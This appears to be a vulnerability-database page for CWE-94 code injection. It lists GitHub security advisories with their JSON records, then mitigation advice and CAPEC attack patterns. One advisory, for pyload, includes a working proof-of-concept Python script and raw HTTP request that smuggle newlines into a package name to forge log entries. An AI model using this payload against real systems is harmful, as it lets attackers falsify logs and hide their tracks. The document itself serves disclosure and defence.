CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8358 vulnerabilities reference this CWE, most recent first.
GHSA-3WPV-GH9G-2C8Q
Vulnerability from github – Published: 2022-05-02 03:56 – Updated: 2022-05-02 03:56Multiple PHP remote file inclusion vulnerabilities in Webradev Download Protect 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[RootPath] parameter to (1) Framework/EmailTemplates.class.php, (2) Customers/PDPEmailReplaceConstants.class.php, and (3) Admin/ResellersManager.class.php in includes/DProtect/.
{
"affected": [],
"aliases": [
"CVE-2009-4666"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-03-05T18:30:00Z",
"severity": "HIGH"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in Webradev Download Protect 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALS[RootPath] parameter to (1) Framework/EmailTemplates.class.php, (2) Customers/PDPEmailReplaceConstants.class.php, and (3) Admin/ResellersManager.class.php in includes/DProtect/.",
"id": "GHSA-3wpv-gh9g-2c8q",
"modified": "2022-05-02T03:56:59Z",
"published": "2022-05-02T03:56:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4666"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/8792"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3WRF-2H5V-MVMW
Vulnerability from github – Published: 2022-05-17 04:19 – Updated: 2025-04-12 12:42The STWConfig ActiveX control in Samsung SmartViewer does not properly initialize a variable, which allows remote attackers to execute arbitrary code via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2014-9266"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-12-08T16:59:00Z",
"severity": "MODERATE"
},
"details": "The STWConfig ActiveX control in Samsung SmartViewer does not properly initialize a variable, which allows remote attackers to execute arbitrary code via unspecified vectors.",
"id": "GHSA-3wrf-2h5v-mvmw",
"modified": "2025-04-12T12:42:42Z",
"published": "2022-05-17T04:19:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-9266"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/71489"
},
{
"type": "WEB",
"url": "http://www.zerodayinitiative.com/advisories/ZDI-14-400"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3WWM-HJV7-23R3
Vulnerability from github – Published: 2025-07-30 13:18 – Updated: 2025-07-30 13:18Summary
A log injection vulnerability was identified in pyload in API /json/add_package. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by pyload.
Details
pyload will generate a log entry when creating new package using API /json/add_package. This entry will be in the form of Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.
PoC
Run pyload in the default configuration by running the following command
pyload
We can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at http://localhost:8000/logs
Any attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.
import requests
session = requests.session()
burp0_url = "http://localhost:8000/json/add_package"
burp0_cookies = {"pyload_session_8000": "SESSION-ID-HERE"}
burp0_headers = {"sec-ch-ua-platform": "\"Windows\"", "Accept-Language": "en-US,en;q=0.9", "sec-ch-ua": "\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"", "sec-ch-ua-mobile": "?0", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36", "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf", "Origin": "http://localhost:8000", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "http://localhost:8000/collector", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
burp0_data = "------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_name\"\r\n\r\nFake new package containing 1 links\r\n[2025-07-23 04:32:19] PWNED SeaWind GET PWNED\r\n[2025-07-23 04:32:19] INFO pyload Added package Normal package\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_links\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_password\"\r\n\r\n123\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\r\nContent-Disposition: form-data; name=\"add_dest\"\r\n\r\n0\r\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\r\n"
session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
The Burpsuite HTTP Request for the above code
POST /json/add_package HTTP/1.1
Host: localhost:8000
Content-Length: 799
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf
Origin: http://localhost:8000
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8000/collector
Accept-Encoding: gzip, deflate, br
Cookie: pyload_session_8000=SESSIONS-ID-HERE
Connection: keep-alive
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_name"
Fake new package containing 1 links
[2025-07-23 04:32:19] HACKER SeaWind GET PWNED
[2025-07-23 04:32:19] INFO pyload Added package Normal package
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_links"
123
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_password"
123
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_file"; filename="tt"
Content-Type: application/octet-stream
------WebKitFormBoundaryqRJM6zIUcE7ttXDf
Content-Disposition: form-data; name="add_dest"
0
------WebKitFormBoundaryqRJM6zIUcE7ttXDf--
After executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected.
Impact
Forged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pyload-ng"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.5.0b3.dev89"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-30T13:18:38Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\nA log injection vulnerability was identified in `pyload` in API `/json/add_package`. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by `pyload`.\n### Details\n`pyload` will generate a log entry when creating new package using API `/json/add_package`. This entry will be in the form of `Added package \u0027NAME_OF_PACKAGE\u0027 containing \u0027NUMBER_OF_LINKS\u0027 links`. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.\n\n### PoC\nRun `pyload` in the default configuration by running the following command\n```\npyload\n```\nWe can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at `http://localhost:8000/logs`\n\u003cimg width=\"1918\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e6510af6-768b-4ddd-a4f2-3972618e1d37\" /\u003e\nAny attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.\n```\nimport requests\n\nsession = requests.session()\n\nburp0_url = \"http://localhost:8000/json/add_package\"\nburp0_cookies = {\"pyload_session_8000\": \"SESSION-ID-HERE\"}\nburp0_headers = {\"sec-ch-ua-platform\": \"\\\"Windows\\\"\", \"Accept-Language\": \"en-US,en;q=0.9\", \"sec-ch-ua\": \"\\\"Not)A;Brand\\\";v=\\\"8\\\", \\\"Chromium\\\";v=\\\"138\\\"\", \"sec-ch-ua-mobile\": \"?0\", \"X-Requested-With\": \"XMLHttpRequest\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\", \"Accept\": \"*/*\", \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf\", \"Origin\": \"http://localhost:8000\", \"Sec-Fetch-Site\": \"same-origin\", \"Sec-Fetch-Mode\": \"cors\", \"Sec-Fetch-Dest\": \"empty\", \"Referer\": \"http://localhost:8000/collector\", \"Accept-Encoding\": \"gzip, deflate, br\", \"Connection\": \"keep-alive\"}\nburp0_data = \"------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_name\\\"\\r\\n\\r\\nFake new package containing 1 links\\r\\n[2025-07-23 04:32:19] PWNED SeaWind GET PWNED\\r\\n[2025-07-23 04:32:19] INFO pyload Added package Normal package\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_links\\\"\\r\\n\\r\\n123\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_password\\\"\\r\\n\\r\\n123\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_file\\\"; filename=\\\"tt\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_dest\\\"\\r\\n\\r\\n0\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\\r\\n\"\nsession.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)\n```\nThe Burpsuite HTTP Request for the above code\n```\nPOST /json/add_package HTTP/1.1\nHost: localhost:8000\nContent-Length: 799\nsec-ch-ua-platform: \"Windows\"\nAccept-Language: en-US,en;q=0.9\nsec-ch-ua: \"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile: ?0\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\nAccept: */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf\nOrigin: http://localhost:8000\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:8000/collector\nAccept-Encoding: gzip, deflate, br\nCookie: pyload_session_8000=SESSIONS-ID-HERE\nConnection: keep-alive\n\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_name\"\n\nFake new package containing 1 links\n[2025-07-23 04:32:19] HACKER SeaWind GET PWNED\n[2025-07-23 04:32:19] INFO pyload Added package Normal package\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_links\"\n\n123\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_password\"\n\n123\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_dest\"\n\n0\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\n\n```\nAfter executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected.\n\u003cimg width=\"1920\" height=\"911\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0e77c7ac-e5f6-4227-843a-ef548071bf02\" /\u003e\n\n### Impact\nForged or otherwise, corrupted log files can be used to cover an attacker\u2019s tracks or even to implicate another party in the commission of a malicious act.",
"id": "GHSA-3wwm-hjv7-23r3",
"modified": "2025-07-30T13:18:38Z",
"published": "2025-07-30T13:18:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-3wwm-hjv7-23r3"
},
{
"type": "WEB",
"url": "https://github.com/pyload/pyload/commit/ddf8a48b83aaf36052b08732c424cffcf9ffccca"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyload/pyload"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Pyload log Injection via API /json/add_package in add_name parameter"
}
GHSA-3X43-9CXQ-4FWR
Vulnerability from github – Published: 2022-05-04 00:29 – Updated: 2022-05-04 00:29The Manager service in the management console in Symantec Endpoint Protection (SEP) 12.1 before 12.1 RU1-MP1 allows remote attackers to conduct file-insertion attacks and execute arbitrary code by leveraging exploitation of CVE-2012-0294.
{
"affected": [],
"aliases": [
"CVE-2012-0295"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-05-23T21:55:00Z",
"severity": "HIGH"
},
"details": "The Manager service in the management console in Symantec Endpoint Protection (SEP) 12.1 before 12.1 RU1-MP1 allows remote attackers to conduct file-insertion attacks and execute arbitrary code by leveraging exploitation of CVE-2012-0294.",
"id": "GHSA-3x43-9cxq-4fwr",
"modified": "2022-05-04T00:29:16Z",
"published": "2022-05-04T00:29:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-0295"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/53183"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/53184"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1027093"
},
{
"type": "WEB",
"url": "http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory\u0026pvid=security_advisory\u0026year=2012\u0026suid=20120522_01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3X5P-XWF4-5G93
Vulnerability from github – Published: 2023-05-04 21:30 – Updated: 2024-04-04 03:49Kibana version 8.7.0 contains an arbitrary code execution flaw. An attacker with All privileges to the Uptime/Synthetics feature could send a request that will attempt to execute JavaScript code. This could lead to the attacker executing arbitrary commands on the host system with permissions of the Kibana process.
{
"affected": [],
"aliases": [
"CVE-2023-31415"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-04T21:15:11Z",
"severity": "HIGH"
},
"details": "Kibana version 8.7.0 contains an arbitrary code execution flaw. An attacker with All privileges to the Uptime/Synthetics feature could send a request that will attempt to execute JavaScript code. This could lead to the attacker executing arbitrary commands on the host system with permissions of the Kibana process.",
"id": "GHSA-3x5p-xwf4-5g93",
"modified": "2024-04-04T03:49:12Z",
"published": "2023-05-04T21:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31415"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/kibana-8-7-1-security-updates/332330"
},
{
"type": "WEB",
"url": "https://www.elastic.co/community/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3X5X-XCJX-P3HH
Vulnerability from github – Published: 2022-05-01 07:20 – Updated: 2022-05-01 07:20Multiple PHP remote file inclusion vulnerabilities in ACGV News 0.9.1 allow remote attackers to execute arbitrary PHP code via a URL in the PathNews parameter in (1) header.php or (2) news.php. NOTE: portions of these details are obtained from third party information.
{
"affected": [],
"aliases": [
"CVE-2006-4637"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2006-09-08T20:04:00Z",
"severity": "MODERATE"
},
"details": "Multiple PHP remote file inclusion vulnerabilities in ACGV News 0.9.1 allow remote attackers to execute arbitrary PHP code via a URL in the PathNews parameter in (1) header.php or (2) news.php. NOTE: portions of these details are obtained from third party information.",
"id": "GHSA-3x5x-xcjx-p3hh",
"modified": "2022-05-01T07:20:31Z",
"published": "2022-05-01T07:20:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-4637"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/28763"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/21765"
},
{
"type": "WEB",
"url": "http://securitytracker.com/id?1016816"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/445575/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/19863"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2006/3475"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3X6P-668F-F973
Vulnerability from github – Published: 2022-11-29 21:30 – Updated: 2026-04-08 21:31The Ultimate Member plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 2.5.0 via the populate_dropdown_options function that accepts user supplied input and passes it through call_user_func(). This is restricted to non-parameter PHP functions like phpinfo(); since user supplied parameters are not passed through the function. This makes it possible for authenticated attackers, with administrative privileges, to execute code on the server.
{
"affected": [],
"aliases": [
"CVE-2022-3384"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-29T21:15:00Z",
"severity": "HIGH"
},
"details": "The Ultimate Member plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 2.5.0 via the populate_dropdown_options function that accepts user supplied input and passes it through call_user_func(). This is restricted to non-parameter PHP functions like phpinfo(); since user supplied parameters are not passed through the function. This makes it possible for authenticated attackers, with administrative privileges, to execute code on the server.",
"id": "GHSA-3x6p-668f-f973",
"modified": "2026-04-08T21:31:45Z",
"published": "2022-11-29T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3384"
},
{
"type": "WEB",
"url": "https://github.com/H4de5-7/vulnerabilities/blob/main/CVE-2022-3383%20%26%26%20CVE-2022-3384.md"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2805393%40ultimate-member\u0026new=2805393%40ultimate-member\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/cdcdbba7-8280-457b-a511-66a486978a31?source=cve"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/vulnerability-advisories-continued/#CVE-2022-3384"
},
{
"type": "WEB",
"url": "https://www.yuque.com/docs/share/8796eef9-ac4c-4339-96b4-6c21313ecf3e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3X74-V64J-QC3F
Vulnerability from github – Published: 2023-06-13 18:30 – Updated: 2024-03-21 17:48Withdrawn
This advisory has been withdrawn because the CVE has been disputed and the underlying vulnerability is likely invalid. This link is maintained to preserve external references.
According to maintainers of Craft CMS, only administrators can access Settings, and those administrators may have business needs for their permissions. Additionally, the underlying issue likely has little to no real-world security impact.
Original Description
CraftCMS is vulnerable to Server-Side Template Injection (SSTI). An authenticated attacker can inject Twig Template to User Photo Location field when setting User Photo Location in User Settings, lead to Remote Code Execution.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "craftcms/cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-30179"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-14T16:47:17Z",
"nvd_published_at": "2023-06-13T17:15:14Z",
"severity": "HIGH"
},
"details": "## Withdrawn\nThis advisory has been withdrawn because the CVE has been disputed and the underlying vulnerability is likely invalid. This link is maintained to preserve external references.\n\n[According to maintainers of Craft CMS](https://github.com/github/advisory-database/pull/2443#issuecomment-1610634200), only administrators can access Settings, and those administrators may have business needs for their permissions. Additionally, the underlying issue likely has little to no real-world security impact.\n\n## Original Description\nCraftCMS is vulnerable to Server-Side Template Injection (SSTI). An authenticated attacker can inject Twig Template to User Photo Location field when setting User Photo Location in User Settings, lead to Remote Code Execution.",
"id": "GHSA-3x74-v64j-qc3f",
"modified": "2024-03-21T17:48:19Z",
"published": "2023-06-13T18:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30179"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/2443"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/2443#issuecomment-1610040714"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/2443#issuecomment-1610634200"
},
{
"type": "WEB",
"url": "https://datnlq.gitbook.io/cve/craft-cms/cve-2023-30179-server-side-template-injection"
},
{
"type": "PACKAGE",
"url": "https://github.com/craftcms/cms"
},
{
"type": "WEB",
"url": "https://github.com/craftcms/cms/blob/develop/CHANGELOG.md#442---2023-03-14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Withdrawn Advisory: CraftCMS Server-Side Template Injection vulnerability",
"withdrawn": "2023-06-28T23:54:39Z"
}
GHSA-3X83-2PRQ-R4MQ
Vulnerability from github – Published: 2022-05-02 03:58 – Updated: 2022-05-02 03:58Eval injection vulnerability in system/services/init.php in Movie PHP Script 2.0 allows remote attackers to execute arbitrary PHP code via the anticode parameter.
{
"affected": [],
"aliases": [
"CVE-2009-4836"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2010-05-06T12:47:00Z",
"severity": "HIGH"
},
"details": "Eval injection vulnerability in system/services/init.php in Movie PHP Script 2.0 allows remote attackers to execute arbitrary PHP code via the anticode parameter.",
"id": "GHSA-3x83-2prq-r4mq",
"modified": "2022-05-02T03:58:43Z",
"published": "2022-05-02T03:58:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-4836"
},
{
"type": "WEB",
"url": "http://osvdb.org/54883"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/35283"
},
{
"type": "WEB",
"url": "http://www.exploit-db.com/exploits/8871"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2009/1495"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3X8W-P58R-45FF
Vulnerability from github – Published: 2022-05-01 01:51 – Updated: 2025-04-03 04:10MySQL 4.0.23 and earlier, and 4.1.x up to 4.1.10, allows remote authenticated users with INSERT and DELETE privileges to execute arbitrary code by using CREATE FUNCTION to access libc calls, as demonstrated by using strcat, on_exit, and exit.
{
"affected": [],
"aliases": [
"CVE-2005-0709"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2005-05-02T04:00:00Z",
"severity": "MODERATE"
},
"details": "MySQL 4.0.23 and earlier, and 4.1.x up to 4.1.10, allows remote authenticated users with INSERT and DELETE privileges to execute arbitrary code by using CREATE FUNCTION to access libc calls, as demonstrated by using strcat, on_exit, and exit.",
"id": "GHSA-3x8w-p58r-45ff",
"modified": "2025-04-03T04:10:48Z",
"published": "2022-05-01T01:51:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2005-0709"
},
{
"type": "WEB",
"url": "https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10479"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/96-1"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/vulnwatch/2005-q1/0084.html"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2005//Aug/msg00001.html"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2005/Aug/msg00000.html"
},
{
"type": "WEB",
"url": "http://marc.info/?l=bugtraq\u0026m=111066115808506\u0026w=2"
},
{
"type": "WEB",
"url": "http://sunsolve.sun.com/search/document.do?assetkey=1-26-101864-1"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2005/dsa-707"
},
{
"type": "WEB",
"url": "http://www.gentoo.org/security/en/glsa/glsa-200503-19.xml"
},
{
"type": "WEB",
"url": "http://www.mandriva.com/security/advisories?name=MDKSA-2005:060"
},
{
"type": "WEB",
"url": "http://www.novell.com/linux/security/advisories/2005_19_mysql.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2005-334.html"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2005-348.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/12781"
},
{
"type": "WEB",
"url": "http://www.trustix.org/errata/2005/0009"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.